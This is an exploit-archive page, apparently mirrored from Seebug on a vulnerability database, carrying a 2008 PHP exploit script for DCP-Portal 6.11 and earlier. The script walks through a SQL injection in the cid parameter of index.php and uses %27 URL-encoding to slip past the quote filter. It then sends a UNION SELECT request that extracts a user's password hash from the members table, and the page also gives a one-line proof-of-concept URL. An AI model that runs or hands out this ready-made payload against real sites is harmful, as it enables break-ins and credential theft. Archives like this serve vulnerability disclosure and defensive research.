Lucene search
K

DCP-Portal <= 6.11 Remote SQL Injection Exploit

🗓️ 07 Jan 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

DCP-Portal <= 6.11 Remote SQL Injection Exploit. PHP code for exploiting a remote SQL injection vulnerability in DCP Portal version 6.11 with an example usag

Code

                                                #!/usr/bin/php&nbsp;-q
&lt;?php
echo&nbsp;&quot;[*]DCP&nbsp;Portal&nbsp;&lt;=&nbsp;6.11&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Exploit\r\n&quot;;
echo&nbsp;&quot;[*]Coded&nbsp;by&nbsp;x0kster&nbsp;-x0kster[AT]gmail[DOT]com&nbsp;-&nbsp;\r\n&quot;;
/*
Note&nbsp;:&nbsp;Magic&nbsp;Quotes&nbsp;=&nbsp;0
Script&nbsp;Download&nbsp;:&nbsp;http://www.dcp-portal.org/

Bug&nbsp;in&nbsp;index.php&nbsp;:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;?php
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//index.php
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[...]
&nbsp;60.&nbsp;&nbsp;$sql&nbsp;=&nbsp;&quot;SELECT&nbsp;id,&nbsp;name&nbsp;FROM&nbsp;$t_cats&nbsp;WHERE&nbsp;cat_id&nbsp;=&nbsp;'&quot;.$_GET[&quot;cid&quot;].&quot;'&nbsp;ORDER&nbsp;BY&nbsp;sort,&nbsp;name&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[...]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;?&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
But&nbsp;the&nbsp;script&nbsp;filter&nbsp;the&nbsp;quotes&nbsp;with&nbsp;this&nbsp;code,&nbsp;included&nbsp;in&nbsp;each&nbsp;page&nbsp;of&nbsp;the&nbsp;cms:
&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;?php
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//config/config.inc.php
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[...]
118.&nbsp;&nbsp;if&nbsp;(strlen($_SERVER['QUERY_STRING'])&nbsp;&gt;&nbsp;0)&nbsp;{&nbsp;&nbsp;
119.&nbsp;&nbsp;$str&nbsp;=&nbsp;$_SERVER['QUERY_STRING'];&nbsp;&nbsp;
120.&nbsp;&nbsp;$arr&nbsp;=&nbsp;split('[;&amp;]',&nbsp;URLdecode($str));&nbsp;&nbsp;
121.&nbsp;&nbsp;$pos&nbsp;=&nbsp;strpos($str,&nbsp;&quot;'&quot;);&nbsp;&nbsp;
122.&nbsp;&nbsp;if&nbsp;($pos)&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;
123.&nbsp;&nbsp;$hackattempt&nbsp;=&nbsp;true;&nbsp;&nbsp;}&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[...]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;?&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
But&nbsp;we&nbsp;can&nbsp;bypass&nbsp;this&nbsp;control&nbsp;using&nbsp;%27&nbsp;instead&nbsp;'&nbsp;:-).

So&nbsp;this&nbsp;is&nbsp;the&nbsp;simple&nbsp;PoC:
http://site/path/index.php?cid=-1%27+union+select+1,password+from+dcp5_members+where+uid=1/*
&nbsp;
Exploit&nbsp;:
*/
if&nbsp;($argc&lt;4)&nbsp;{
&nbsp;echo&nbsp;&quot;[*]Usage:&nbsp;php&nbsp;&quot;.$argv[0].&quot;&nbsp;host&nbsp;path&nbsp;id\r\n&quot;;
&nbsp;echo&nbsp;&quot;[*]Example:\r\n&quot;;
&nbsp;echo&nbsp;&quot;[*]php&nbsp;&quot;.$argv[0].&quot;&nbsp;localhost&nbsp;/dcp-portal/&nbsp;1\r\n&quot;;
&nbsp;die;
}

function&nbsp;get_response($packet){
&nbsp;global&nbsp;$host,&nbsp;$response;
&nbsp;$socket=fsockopen(gethostbyname($host),80);
&nbsp;if&nbsp;(!$socket)&nbsp;{&nbsp;echo&nbsp;&quot;[-]Error&nbsp;contacting&nbsp;$host.\r\n&quot;;&nbsp;exit();}
&nbsp;fputs($socket,$packet);
&nbsp;$response='';
&nbsp;while&nbsp;(!feof($socket))&nbsp;{
&nbsp;&nbsp;$response.=fgets($socket);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;fclose($socket);
}

$host&nbsp;=$argv[1];
$path&nbsp;=$argv[2];
$id&nbsp;=&nbsp;$argv[3];
&nbsp;
$packet&nbsp;=&quot;GET&nbsp;&quot;.$path.&quot;index.php?cid=-1%27+union+select+1,concat(0x78306b73746572,password,0x78306b73746572)+from+dcp5_members+where+uid=&quot;.$id.&quot;/*&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;Close\r\n\r\n&quot;;

get_response($packet);
if(strstr($response,&quot;x0kster&quot;)){
	$hash&nbsp;=&nbsp;explode(&quot;x0kster&quot;,$response,32);
	echo&nbsp;&quot;[+]Ok,&nbsp;the&nbsp;hash&nbsp;is&nbsp;:&nbsp;$hash[1]\r\n&quot;;
	die;
}else{
	echo&nbsp;&quot;[-]Exploit&nbsp;filed,&nbsp;maybe&nbsp;fixed&nbsp;or&nbsp;incorrect&nbsp;id.\r\n&quot;;
	die;
}&nbsp;&nbsp;&nbsp;&nbsp;

?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1
16